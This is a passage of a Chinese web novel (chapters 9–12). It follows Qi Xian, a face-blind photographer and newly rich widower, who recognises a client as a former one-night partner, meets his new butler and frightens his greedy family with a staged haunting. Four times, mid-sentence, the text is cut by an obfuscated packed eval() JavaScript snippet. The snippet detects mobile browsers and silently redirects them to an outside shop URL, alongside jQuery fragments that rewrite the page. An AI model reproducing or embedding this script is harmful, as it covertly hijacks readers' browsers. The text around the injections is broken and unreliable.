还有旁边那位兄弟,他能理解如果一个人身边全是壮汉围着会很扎眼,但您也不至于穿裙子吧!更扎眼了好不好!
也甭怪人家使劲朝这边瞅,他要是路人,高低也得拍条视频发抖音。
祁闲赶紧跑进单元楼,在四楼门口停住。
“你们稍微往楼上走走?”祁闲小声要求,“客人开门别吓死了。”
陆峰大手一挥,保镖们听从祁闲的指令,暂且上楼,躲在视线盲区。
祁闲:“麻烦把假发一收,露出来了。”
假发和裙角嗖地消失在楼梯后。
祁闲抬手扶额,叹气敲门。
“来了。”
门很快打开,面容模糊的客人站在玄关,祁闲礼礼貌地摘下口罩,扬起标准的笑容,打招呼:“您好,我是您预约的摄影师,半日闲。”
“老师您好,快进来吧。”
客人名叫“海哥”,一副休闲日常打扮,发型和衣服款式都很年轻,大概二十五六岁,他和祁闲一样戴着口罩,说话有点鼻音。
眼看着祁闲就要进入到他们无法贴身保护的区域了,保镖们紧张地从楼上伸头观察,海哥似有所察觉,朝那边瞅了眼,冒出的脑袋立刻蛏子似的齐齐缩回去。
海哥:?
海哥探头朝外看:“什么东西?楼上有人吗?”
祁闲:“啊哈哈哈。”
他赶紧挪了一步,挡住对方视线:“您瞧我,路上堵车,迟到了几分钟,抱歉啊。”
“没事,您请进。”海哥总算收回目光,祁闲拙劣的转移话题到底起了作用。
还好还好。
祁闲松了口气,赶紧进家反手关门。
正当祁闲庆幸还算顺利时,海哥笑道,“没想到咱们这么快又见面了。”
祁闲:“嗯嗯嗯?”
祁闲脸盲多年,对“又见面了”之类的话非常敏感,讶然抬头:“咱们之前见过?”
青年对他摘下口罩,露出整张脸。
祁闲:“…………”
海哥肯定在满脸期盼地和他对视,等待他给出“原来是你啊!”的回答。
祁闲汗流浃背了。
“对不起。”祁闲磕磕盼盼地解释,“我记性不太好,有点不记得咱们之前在哪儿见过了,能提醒一下吗。”
“这样啊。”海哥遗憾地放下口罩,但没给祁闲任何提示,只是胸有成竹道,“没事,肯定很快就能想起来了。”
为什么他这么确定?
难不成是见过很多次的熟人?
祁闲迅速梳理了自己的关系网,他的朋友也就那些,他对大家的嗓音和风格都很熟悉,没有这号人啊?
海哥没在这个问题上多掰扯,他走进客厅,招呼道:“来吧老师,我们开始今天的拍摄。”
“好。”祁闲拉开包,拿出相机。
他做自由摄影师好几年了,在圈子里也算小有名气,业务能力毋庸置疑,很快就定下心神,进入到工作状态。
成为摄影师对祁闲来说是个意外。
少年时头部遭受重伤后,他的思维和反应能力都收到了一定影响,再也无法像从前那般在学校里成绩数一数二,又因为脸盲,很难社交,家里更是加倍嫌弃他是个累赘。
祁闲因此颓废了一段时间,后来他觉得不能再趟下去,不然真就彻底废掉了,至少得给自己找点事儿干。
为了强迫自己经常出去走走,祁闲专门买了台相机,给自己下达每天必须拍上十张好看照片的任务,修完图就发在网上存着,偶尔踩进流量池,获得一些夸赞。
他在这个过程中真正爱上了摄影。
后来,祁闲去漫展闲逛,意外出了套十万转的神图,开始有coser约他拍照,和好友白遥也在那时候认识。
祁闲的审美和技术都极好,很多照片后期处理得更像是艺术品,很快就声名鹊起。
他和精通修图的白遥一起成立了个人工作室,除了私房和婚纱照,有时候还会拍一些宣传短片。
脸盲对祁闲拍摄的影响并没有想象中那么大,就像现在,祁闲拍完人像
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14249114|151531||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
,会让客人亲自确定表情是否满意。
相机的屏幕很小,要凑近了才能看清,祁闲搬过旁边的凳子,拿着相机一张张地向海哥确认。
属于另一人的温热呼吸平稳悠长,扫过他手腕,痒痒的。
“可以。”海哥点头,他扭头看向祁闲,鼻尖差点擦过祁闲脸颊。
祁闲下意识猛然向后一躲,谁知道动作太大,连人带椅地失去平衡,就要整个儿翻过去。
完蛋!
就在祁闲准备迎后背上的痛楚时,腰间被一只手揽住了。
跌倒之势被止住,祁闲避免了和地板亲密接触的窘迫,但仍然不妨碍他嗷的一声叫出来。
祁闲:“疼疼疼疼疼!你掐到我腰上的肉了!”
腰间的手愣了下,才反应过来似的赶紧松开。祁闲顺势一屁股坐在地上,揉着刚才被意外掐到的软肉。
客厅陷入了长久的沉默。
祁闲:“谢谢。”
海哥:“抱歉。”
两人同时开口,又都愣了一下。
祁闲笑起来,他握住海哥伸出的手,借力站起身。
“走吧,下一个场景。”
接下来的拍摄在浴室进行。
祁闲指挥着海哥躺进浴室里,这组照片他打算弄成梦核感。
只穿着白衬衣的青年仰面躺在浴缸中,脸颊和手臂上几道血迹斑驳,他衣襟敞开,晶莹的蓝色液体如同流淌的星光,从心脏出涌出,流入浴缸,将透明的水染成一片莹蓝星海。
莹蓝和鲜红,色彩对比会带来强烈的视觉冲击,效果绝对好。
祁闲给海哥讲清楚自己的想法,对方点头同意,去换质地更轻薄的衬衣。
祁闲趁此时候,把补光灯放在合适的位置,调整反光板的角度,做一些事先准备。
“我弄好了。”海哥的声音从浴室门口传来。
祁闲抬头,精壮的胸膛和腰腹蛮横地撞进他视线,衬衣不够熨帖,在他的角度,甚至能从衣料和身体的缝隙中,窥见隐约的凸起。
祁闲愣了两秒,才慌不迭的移开目光。
这身材……
“坐到浴缸里吧。”祁闲尽量让自己的声音平静。
水已经放好,海哥踩进浴缸,再扶着两边缓缓坐下,水波轻荡发出哗啦声响,祁闲拿出画笔和颜料,准备给海哥上战损妆。
蘸着红颜料的笔尖在皮肤上绘制血痕,然后是莹蓝色的染料,第一笔,要落在心口,再顺着胸腹的线条,一路向下,没入水面。
祁闲低头画着,帮客人上特效这种事他做过很多,非常熟练,可这一次,他的手在抖。
莫名其妙的心慌。
也许是因为这个弯腰的姿势不太舒服?
祁闲打算直起腰换个角度和姿势,胳膊一抖,右手手嘭地撞到浴缸,还恰巧不巧,正中麻穴。
整条手臂瞬间又痛又酸又痒又木,祁闲“啊”的惨叫,画笔从手中掉落,直挺挺地栽进浴缸。
正好在水面下的关键部位留下浓墨重彩的一笔。
“闲老师,你想干什么?”
腕子被宽厚的手掌攥住,下一秒,只听“哗啦”一声,祁闲整个地跌入了浴池当中,温热的水飞溅,瞬间湿透了他的衣服。
祁闲的右手下意识地胡乱摸索,试图撑稳身形,他也确实找到了支撑物,掌心下的腹肌摸起来手感极佳,因为有水,祁闲的手不住向下滑——
在即将按住被掉落画笔标记地方的瞬间,他手腕被攥住了。
但,祁闲也在这片刻的惊心动魄中,猛地瞪大双眼,确认了一件相当重要的事情。
“你是宁海尘!?”
被祁闲当做人肉靠垫的宁海尘轻笑一声,他拉着祁闲的手,按在自己被涂了莹蓝颜料的胸口,沉稳的心跳震动着掌心,一如那天晚上:
“才发现吗?看来比起我的脸,你对我的身体要更加印象深刻啊,闲老师。或者我应该叫你,祁珩?”
10. 第 10 章
祁闲立刻扑腾着想要起来。
但他在浴缸中的姿势太过别扭,又被宁海尘抓着,脚下一滑,直接趴在了宁海尘身上。
祁闲的鼻梁碰到宁海尘锁骨,疼的闷哼一声,宁海尘同样也不好受,他揽着祁闲的腰,还要护着少年擦伤的左臂,省得伤上加伤。
“别再乱动了。”宁海尘话音里带着几分咬牙切齿,“不然没办法收场了。”
祁闲往下瞄了一眼。
祁闲:“………………”
他浑身僵住,鹌鹑似的缩着,不敢动了。
浴缸中的水波逐渐平息,祁闲趴在宁海尘身上,体温透过被浸湿的衣料,忠实地传递给彼此。
在他的脖颈上,还有宁海尘亲自留下的痕迹。
“小没良心的,竟然才把我认出来。”宁海尘指尖轻碰祁闲颈窝里他留下的痕迹。
祁闲脑子里一团乱麻。
他又见到了宁海尘,就说明宁海尘不是已经死去的沈柏霆。
他们俩之间的相似之处,都只是巧合而已。
可是……可是真的会有这么巧的事吗?
没等祁闲想明白,宁海尘就挪开了触碰祁闲颈窝的手,他抓着浴缸边缘,把快要被祁闲压得沉入水面的上半身拔起来。
肌肤因姿势的改变紧密摩擦,轻而易举就想起那晚被挑逗时的颤栗。
情况非但没能得到缓解,反而朝着更加微妙暧昧的方向发展了。
祁闲喉头发紧,他不敢乱动,只能小心翼翼地询问宁海尘:“能让我起来吗?”
“慢点。”这下宁海尘倒是好心,扶着祁闲出水。
双脚重新踩到浴室的地面,祁闲总算放松了些许。
但是他裤子和上衣前襟全都湿透了,衣料贴在身上若隐若现,穿着的效果还不如没穿,只能非常尴尬地背过身去。
宁海尘:“你有衣服可以换吗?”
祁闲老实回答:“没有。”
谁家摄影师去客人家里拍摄还会专门带一套换洗的衣物啊!不神经病吗!
“那就先穿我的吧。”宁海尘指向卧室的方向,“你翻翻衣柜看有没有合适的。”
“嗯嗯。”祁闲极度尴尬地点头,飞快溜出浴室,在地上留下一串水脚印。
宁海尘竟然就是找他约拍的客人,世界未免也太小了点。
而且他刚怀疑起宁海尘的身份,就再一次见到了本尊,一点悬念都不给。
祁闲吐槽着,打开宁海尘的衣柜。
衣柜泾渭分明的分成了三块区域,黑的,白的和其他颜色。
祁闲随便挑了件衬衣,他醉酒醒来的那天早上,就穿错过宁海尘的衣服。衬衣上有熟悉的,海盐气息,属于宁海尘的味道。
托那天晚上的福,他记得很牢。
祁闲拍拍还在发烫的脸,让自己冷静下来。
他假装无事发生地回到浴室,刚才折腾出的狼藉已经被宁海尘收拾好了。
“闲——”宁海尘的话音刚出,祁闲赶紧打断他。
“先等等,有什么事等拍完再说。”祁闲闷头拿起相机,甭管三七二十一,对着宁海尘咔咔拍了两张。
宁海尘低笑了一声。好拙劣的欲盖弥彰。
祁闲秉持着身为摄影师的专业,重新让宁海尘摆好姿势,浴缸里倒入蓝色的荧光液和银白细闪,仿佛真的是一汪融化了的星光。
祁闲很快就完成了最后一组照片的拍摄。
他检查了一遍样片,做好备份,用最快速度收拾好镜头,准备脚底抹油找点借口赶紧跑路,肩膀却被按住了。
“现在我们可以聊聊其他事了吧?”
祁闲:“…………”
跑不掉了啊!
祁闲心里哀嚎着,努力绷紧表情,和宁海尘平静对视:“聊什么?”
宁海尘:“聊聊你为什么没认出来我?”
祁闲:“那天晚上喝得太多,断片了。”
朴实无华又让人挑不出来毛病的回答。
宁海尘:“那怎么后来又认出来了呢?”
“……”祁闲哽了一下。
虽然很不想承认,但他确实是通过身体认出来的。
毕竟长那么大,和他发生过亲密身体接触的人,唯有宁海尘。
见祁闲不吭声,宁海尘弯起眼眸。
他的衬衣对祁闲来说确实宽大,下摆塞在裤腰里,一松一紧,反倒格外勾勒出腰臀的弧度。
让人很想要贴近,用手掌或者其他什么部位,切身实地的去感知。
宁海尘靠近一步,抬起手臂。陌生人的触碰总是让身体的反应更加敏感,祁闲赶忙后退半步,拉开安全距离:
“我已经结婚了。”
宁海尘果真停手了,祁闲正要松口气,却听他又问:
“你的结婚对象对咱们的战果还满意吗?”
满意,相当满意,沈柏霆视若无睹,还好心的帮忙整理衣领呢。
以至于他都因此怀疑宁海尘和沈柏霆就是同一个人。
无论回答是或者否,都挺奇怪,祁闲选择折中:“一般。”
宁海尘讶然,片刻,才接上话茬:“看来是我还不够卖力。”
祁闲低头收拾着摄影包,准备开溜:“没关系,以后再接再厉。衣服我先穿走了,明天会洗干净给你寄过来,成片大概一周后出图。”
他开门要逃,宁海尘眼疾手快,抢先一步把他拦住了:
“等下。”
等什么怎么了他该不会想要现在再接再厉吧不要啊——
祁闲紧张地屏住呼吸,按着门把的手偷偷用力,试图上演一出夺门而逃。
“这么急着走,自己的衣服都不要了?”宁海尘拿来祁闲的外套,抖开了站在他身后,就要服务祁闲穿上。
祁闲硬着头皮把两只胳膊伸进袖子,宁海尘为他整理衣领,呼吸暧昧地扫在后颈。
来自视线盲区的触动总能吊起身体更多的警惕,现在他被堵在玄关,想跑都没地方跑。要不……给宁海尘一脚或者捶他一拳?
祁闲缓缓握紧拳头。他刚攥实,就被发现了。
“干什么?想打我?”宁海尘后退一步,似笑非笑,“小珩,你真是翻脸不认人。”
“我本来就不认人。”祁闲小声嘟囔,赶紧拎起包,跑
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14249115|151531||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
得比兔子还快,“再见!”
他一路狂奔到楼下,才放慢脚步。
幸好那晚他用了祁珩的名字。
不然就真的要被宁海尘缠上了!
祁闲走出单元楼门口,面前的垃圾桶里刷的一声冒出个人,吓得他原地起跳。
“祁少,是我!”陆峰拿走头顶的垃圾袋,干净利落地翻出垃圾桶。
其余保镖纷纷从各个角落鬼魅般冒出来,把祁闲众星拱月般保护在中间。
祁闲:“…………”
他欲言又止,最终还是选择闭嘴。算了,先回家要紧。
祁闲瘫在车里,把相机里的照片导出到手机,又找出他相册里拍的结婚照,一起发给白遥:
【帮我看看这两个人,长得像吗?】
白遥秒回:【好家伙,又是帅哥,跟着闲老师饱眼福啦!】
祁闲:【?】
祁闲:【你正经点。】
过了两分钟,白遥发来被她做了详细标记的照片对比。
白遥:【轮廓像,但是五官什么的不一样。】
祁闲分辨不出被标注的地方,但他相信白遥。
也就是说,宁海尘确定不是沈柏霆。
心里莫名有些空荡荡的。
他也不知道自己在期待些什么,或许……是一种沈柏霆其实没死的可能性?
祁闲给白遥回了个感谢的表情包,把海哥的备注改成宁海尘。
这时陈放打来电话,让祁闲去律所确认股权转让书。
等到它彻底生效,祁闲就真正掌握了沈柏霆的全部财富——听到这话从律师口中说出来,祁闲仍有种强烈的不真实感。
等到全都搞完,天都快要黑了。
那些合同简直就是天书,祁闲哈欠连天地下车,眼角洇出困倦的泪水。
保镖们自动停在门外,四散在院子角落。
沈柏霆的遗相端正放在供台上,祁闲伸着懒腰,对他说了声“晚上好”,随手放下摄影包,往水牛皮沙发上一倒。
疲倦从每个骨头缝里冒出来,左臂的擦伤隐隐作痛,更别提他早晨还在发烧。
好累,感觉要长尸斑了。
祁闲闭上眼。
迷迷糊糊中,似乎有一只手轻轻触碰他脸颊。
祁闲唔哝了声,下意识把脸偏向那温暖而干燥的掌心。
……等等,这谁啊?
祁闲挣扎着撕开沉重的眼皮,努力调动刚开始培养的防暗杀意识,身体比昏睡的脑子更先做出行动,四肢各走各的,让他咕噜着滚下沙发。
“!!!”突如其来的失重把祁闲一瞬间吓醒了。
在他和地面亲密接触之前,一双手臂稳稳托在了后背和大腿下方。
“哎!”祁闲惊叫着紧紧抓住陌生的衣袖,男人正单膝跪在沙发边,老派的燕尾管家服被扯得纽扣崩开,飞出去老远,才吧嗒落在地上。
陌生的草木沉香把他包裹,没等祁闲辨认出这人到底是谁,低沉醇厚的嗓音便带着一本正经的严肃钻入耳孔,让他僵硬的身体更加紧绷:
“少爷,您是想让我送您回卧室睡吗?”
11. 第 11 章
祁闲呆呆地眨了下眼:“……啊?”
你谁啊你!
祁闲垂死病中惊坐起,手脚并用,从陌生的怀抱中扑腾回沙发上。少年一双还含着水润泪花的睡眼困顿全消,瞪得滚圆,后脊紧贴着沙发靠背,随时准备翻过去逃走。
男人仍保持着蹲姿,仰头和他对视,姿态很低,却不显卑微。
“少爷,我叫闻洄舟,是陈特助找来的管家,专门负责您的日常饮食起居。”
管家?
祁闲想起来了,陈放确实说过,会给他找一个管家。
吓死了。祁闲浑身垮下来。
他重新瘫在沙发上,无力地摆摆手:“没事,我就是躺一会儿,不用管我。”
其实是不想爬楼梯。
很多人梦想着能住进大别墅,但其实如果不在家里装电梯,住别墅也挺烦的。
祁闲之前在祁家经常被使唤,没少干跑腿的活儿。现在他终于翻身做了家里唯一的主人,再也不想爬楼了。
他重新闭上眼。
有管家了,之后饿了就可以随时点菜。
下顿吃什么好呢?
祁闲沉浸在“吃什么”这一世界难题中,突然感觉一只宽厚的手插进了柔软沙发和他的后肩之间。
下一瞬,他腾空而起。
上次被这么打横抱起来还是上一次——其实就在两天前的民政局。祁闲再次惊惧地睁开双眼,两脚腾空足以让人在顷刻间失去安全感,他唯一能够获得支撑的,只有管家的双臂和胸膛。
“等等等等!”祁闲的手抗拒地抵住闻洄舟胸口,指尖却因为害怕摔了,抓紧他从管家服领口露出的衬衣,“我回屋,我自己回屋!”
管家步伐沉稳,祁闲谨慎的挣扎对他造成的影响微乎其微:“照顾好您是我的职责,其中就包括在您累得不想动时送您回去。”
他说话时每一声胸腔震动都被祁闲掌心清晰感知,香根草的沉厚气味悠然飘入鼻腔,味道本身不带任何侵略性,但对于现在的祁闲而言,甭管什么味儿他都觉得危险。
“我不累!我真一点都不累!”
在祁闲锲而不舍的坚持下,管家终于在楼梯处停住脚步,扶着祁闲的腰把他放下。
双脚重新踩实,祁闲立刻撒手,他飞快说了声谢谢——也不是道为什么嘴里会冒出这两个字,然后窜上楼梯,跑回卧室。
搞什么,短短一天,他和沈柏沅,宁海尘,还有闻管家三个人都接触得那么亲密,动辄搂搂抱抱,实在超出他的接受能力了。
“少爷。”闻洄舟神不知鬼不觉地出现在祁闲身后,“不用紧张,照顾您的饮食起居是我的职责,您以后会习惯的。”
祁闲:……一言不合就抱我,怎么可能习惯得了啊!
他终于正儿八经地将管家从头到脚打量一遍,捕捉对方的体征特点,记录在脑海。
“你什么时候来的?”祁闲问。
“昨晚到的。”闻洄舟回答,“花了一些时间熟悉家里情况,早上我还没来得及和您打招呼,您就离开了。”
昨晚。
也就是说,诡异的重物倒地声是闻洄舟弄出来的,帮他关了窗户还拿退烧药的人,也是他。
“原来如此。”祁闲松了口气,“别是外人闯入就好。”
闻洄舟:“我同样也会负责保护少爷您的安全。”
好好好。祁闲点头,正要在管家面前关上门,手机却响了——是他那便宜爹打来的。
拒绝接通!但凡犹豫一秒,都是他的错。
下一通电话接着打来。拒接,再打过来。拒接,再打过来。
摆明了只要祁闲不接,就会把他的手机打爆为止。祁志勇这毅力要用在其他地方,祁家至于混的中不溜球吗?
祁闲默默吐槽着,滑动接通按钮。
电话突然接通,祁志勇都没反应过来,愣了两秒,才仓促开口,甚至连关心的语气都没伪装到位,生硬得仍像质问。
“怎么不接电话?”
“在忙。”祁闲言简意赅。
祁志勇:“你现在住哪儿?我们过去看看你,沈总不在了,你要是遇见什么麻烦,能依靠的还是祁家。”
旁边的宋莹春努力夹紧嗓子眼,温柔得恶寒:
“阿闲啊,妈知道你还在生我的气,但不管怎么样,咱们才是一家人,现在你身上摊上了那么大的事儿,肯定很难受吧?”
呕。
祁闲差点没吐出来。
用脚指头想都能知道祁志勇要干什么。
无非是听说他继承了沈柏霆的全部遗产,想仗着亲缘关系分一杯羹,或者干脆从他手里全都抢走。
“我确实不知道该怎么办了,早上还被沈家人打了,受伤很严重,现在浑身不舒服……”祁闲哽咽又委屈,“你们要过来照顾我吗?我在华业东方。”
祁志勇继续诱哄祁闲:“爸爸妈妈过去一趟怎么样?也能给你参谋参谋,省的沈家那边……啊?”
怎么回事,祁闲竟然直接把住处告诉他们了?
祁志勇哽住,精心准备的一箩筐理由毫无用武之地,但都知道地址了,还要什么自行车?他忙不迭地答应:“好好好,我们现在就过去!”
祁闲抽噎着道:“好……我、我等你们。”
面无表情地挂断电话,祁闲看向听到了他全部对话的闻洄舟,唇角勾起一抹狡黠的坏笑。
“闻管家,考验你的时候到了。”
.
祁志勇亲自开着车,载着宋莹春和祁珩来到华业东方。
宋莹春坐在副驾驶,精心保养的面容脸色极差,要和沈柏霆联姻的人本该是祁珩,祁珩一直闹,各种嫌弃沈柏霆,她才劝祁志勇换成的祁闲。
原本想要把祁闲当替死鬼推进火坑,谁又能想到,竟然变成了
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14249116|151531||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
把成为首富的机会拱手相让?
宋莹春气得一整晚都没睡着,乳腺都要长结节,更是和祁珩大吵了一架。
祁珩同样也不好受,那可是千亿遗产啊!本来该是他的!
母子两人吵得都快打起来了,但发泄完怒火和悔恨,又再度达成统一。
——他们要把本该属于他们的遗产从祁闲手里抢回来!
祁珩正阴沉想着要如何让祁闲屈服,车却停下了。
“到了?”他迫不及待地探身向前看。
当然没有。
只是被小区门口的拦车杆挡住了。
“妈的。”祁志勇含糊骂着摇下车窗,强压着烦躁,对正在低头打游戏的保安道:“我们进去找人。”
保安两只拇指在屏幕上滑动的飞快,疯狂点塔中:“通行证。”
祁志勇:“没有。”
保安眼皮都不抬:“那不能进。”
保安壮硕如双开门冰箱的身材,趾高气昂的松弛态度,以及他背后的顶奢小区,都让祁志勇不敢造次,咬着后槽牙,忍气吞声道:
“我们是祁闲请过来的,他是这里业主。”
“祁少?”保安终于抬起了头,挑剔地瞥了祁志勇一眼。
祁志勇见状来了精神:“对,我是他爹。”
保安退出游戏,背过身去,打了一通电话。
祁志勇听不到具体内容,但看到蛮横保安挺胸收腹,严肃点头的样子,心中嫉妒的酸水涌泉般冒出来,烧得他喉咙都刺痛。
保安转过身,神情仍带着几分鄙夷,他一按遥控器,挡车杆抬起:“祁少让你们进了。”
“谢谢。”祁志勇还得咬牙切齿地道谢。
他猛的一踩油门,想让保安多吃几口尾气,却匡的宋莹春和祁珩后背重重撞在座椅上,惹了两声骂。
偌大的华业东方,只有一栋房子亮着灯,就是他们的目标所在。
宋莹春满腹怨怼终于找到了宣泄口,她望着窗外后花园般却沉在黑暗中的景致,阴阳怪气:“住在这种地方,也不怕半夜鬼敲门。”
祁志勇把车停在别墅外,一家三口迫不及待地下车,对着从窗户透出来的灯光摩拳擦掌,准备夺回本属于他们的一切。
祁珩最先怒气冲冲地迈步,从被祁闲揪着头发强压着磕头之后,他就在脑海中模拟了无数次折磨对方的情景。
之前他忌惮沈柏霆的威势不敢动祁闲,而现如今,祁闲除了钱之外没有任何靠山,沈家人更是视他为眼中钉,祁珩可以随意处理他走了狗屎运的哥哥。
新仇旧恨,他定要在今天——
啪叽。
祁珩脚下一滞,踩到了什么又黏又湿的东西。
他抬起脚,皱着眉低头去看。
猩红的可疑痕迹溅在他运动鞋边沿,粘稠的内容物正缓缓流出。一颗破碎的眼球被他踩得干瘪,黏在石板路上。
12. 第 12 章
认清那是个什么东西的瞬间,祁珩心跳停了一拍。
“啊——!”
他大叫着猛地向后跳了几大步,直接撞在了毫无防备的祁志勇身上。
“干什么!”祁志勇怒斥祁珩,“没点正形!”
“你看那个!”祁珩说话都磕巴了,他指着那片黏腻的猩红,“眼珠子!一颗眼珠子啊!”
“眼珠子?”
祁志勇谨慎地靠近两步,眯起眼去看被祁珩踩过的东西,看清楚的那刻,他骇地向后猛一仰身。
真的是一颗被踩烂的眼球!
宋莹春见父子俩这幅反应,缩起身子躲在后面:“可、可能是什么动物的吧?猪眼牛眼这类的,送食材的时候不小心掉在路上了。”
这是唯一合理的解释了。
不然,还能是人的吗?
宋莹春朝四周张望,一幢幢别墅沉在婆娑树影中,浓云无声飘动遮蔽上弦月,目光所及之处只有他们三人,寂静阴冷,宛若死地。
宋莹春想起几分钟前自己才说过的话。
——住在这种地方,也不怕鬼敲门。
她狠狠打了个哆嗦。
“祁闲确实住在这儿对吧?”祁志勇粗声粗气道,他故意提高音量,给自己壮胆,“走,进屋问问他怎么回事。”
祁志勇径直走向别墅屋门,他清了清喉咙,按下门铃,喊道,“祁闲,开门!”
隐约能听到客厅里的叮咚铃声,但本该等待着他们的祁闲没过来开门,也没有任何回应。
“祁闲!你人呢!我是你爹!”
祁志勇又喊了好几声,只惊动了深夜栖息的倦鸟。
“什么情况,故意耍我们?”宋莹春抚着手臂上的鸡皮疙瘩,稍稍侧步和祁珩挤在一起。
祁珩用力在地上摩擦着鞋底,想要把沾染的血迹和粘液擦掉,他已经从踩到眼睛的惊恐中缓过劲来了,不耐烦地啧了一声,直接用脚尖去踢门。
但他还没来得及使劲,只是轻轻一碰,门就开了。
祁珩愣住。
没关?
父子两人面面相觑,祁珩尝试着伸手,把门完全推开。
客厅灯明几亮,奢华的水晶灯微微泛着暖黄,照亮三人忐忑的面庞。
黑白遗照中的沈柏霆正朝他们微笑,迎接客人们到来。
骨灰盒端端正正摆在遗照下方,香炉里的香早就熄灭,只留下三根细短的柄,白烛烧的也只剩下短短一小节,烛泪黏在桌布上,一颗又一颗,如同正在孵化的虫卵。
宋莹春瞪大双眼,捂住嘴才没惊叫出声。
“遗照而已。”祁志勇还算冷静,他迈步走进客厅,迅速扫过一周,寻找祁闲的身影。
房子太干净了,全无烟火气,比起住人的地方,更像是……专门为沈柏霆骨灰准备的停放地。
要不是一个多小时前和跟祁闲打过电话,更是有保安确认过,祁志勇都要怀疑他压根就不在。
“祁闲?”祁志勇喊着,回答他的只有空旷房子里若隐若现的回音,他眉头紧皱,拨打祁闲的电话。
嘟、嘟、嘟……
祁志勇仅剩的耐心被一声声等待接通的提示音消磨,56秒之后,电话自动挂断。
祁志勇烦躁地啧了一声,接着再打过去。
他反复提醒自己此次过来的真正目的是要从祁闲手中得到沈柏霆的遗产,至少在目的达成之前,要把表面功夫都做好。
宋莹春走到沙发旁,珠光宝气的手这里摸摸那里碰碰,别墅里的所有东西顶尖奢侈,一想到这竟然是祁闲住得地方,宋莹春就酸的胃疼。
这十几年来祁闲一直被她死死踩在脚下,她掌控着祁志勇前妻孩子的全部人生选择,用最轻而易举的方式毁了他的前途,最后,却亲手把他推到了首富继承人的位置上。
宋莹春甚至都想好了,祁闲得到了沈柏霆的全部财产,如果他出了事,作为祁闲的直系亲属,祁家是最大受益人。
实在不行,就……
宋莹春正想着,突然被祁珩从身后狠狠撞了一下。
“你小心点!”宋莹春高跟鞋差点崴到脚,她正要为祁珩的冒失恼怒,就看到他用力咽了口唾沫,颤颤巍巍祭台上的遗照,“沈柏霆的眼睛动了。”
什么?!
宋莹春和祁志勇扭头去看遗相,就在这时,一道人影毫无征兆地从二楼栏杆处坠落,重重砸在他们眼前!
砰!
灯在坠落发生的瞬间熄灭。
黑暗中,温热腥甜的液体溅在宋莹春的小腿和脸上。
人在极度惊恐之时,会大脑一片空白,忘记呼吸,忘记挪动,忘记眨眼,任凭坠落的残影留在视网膜上。
直到,残存的意识分辨出鲜血的味道。
灯很快再度亮起,似乎刚才只是短暂的接触不良,但这再次亮起的光竟然成了刺目的暗红!
如同飞溅的血液飚溅在了灯具上,让所有的一切都蒙上血色,就连黑白遗像中的沈柏霆,眼中都缓缓流出两行血泪。
“爸……救我,救救我……”
那团从二楼砸下来的人形蠕动着,发出咕吱咕吱的诡异水声,他喉咙深处发出压抑的哭声,下一秒,以极其扭曲的姿势,毫无征兆地朝着祁志勇飞速爬去!
“啊啊啊啊啊啊啊啊啊!”
祁志勇发出他今生最尖锐的叫声,求生本能让他向着门外拔腿狂奔。
和他呼应的是宋莹春的尖叫,她这才反应过来,那个摔成一滩烂泥、血溅在她脸上并且关节全都折断般扑来的东西,是他们在找的祁闲!
祁珩嘴里爆发出一连串的脏话,他一个健步就冲到了最前面,甚至还伸手扒拉着祁志勇,好让自己率先逃出生天。
被落在最后的宋莹春就没那么幸运了。
她穿着高跟鞋,本来就行动受限,更是吓得脚步踉跄,刚跑出去两步就失去平衡,尖叫着摔了个狗啃屎。
宋莹春顾不得疼,眼看着祁志勇和祁珩都要跑出去了,她赶忙手脚并用地爬起来,生怕再慢半步,那个祁闲变成的怪物就会追上。
祁志勇冲出房门,却惊骇地发现庭院小径上不知何时竟洒满了纸钱,轻盈单薄的纸张随风轻颤,偶尔打着旋地纷飞。
空气中弥漫着浓郁的血腥味,昏暗路灯的灯罩上印着一个个模糊的血手印,想要毁掉所有光亮。阴冷的烟雾模糊着视线,脚底黏黏糊糊的触感仿佛还在蠕动,每次抬脚的阻滞似有无数只手抓挠着,想要把他彻底留下。
短短几分钟,一切的一
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14249117|151531||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
切就和他们来时全然不同,某个邪佞的恶灵把他们拽进了另外的时空!
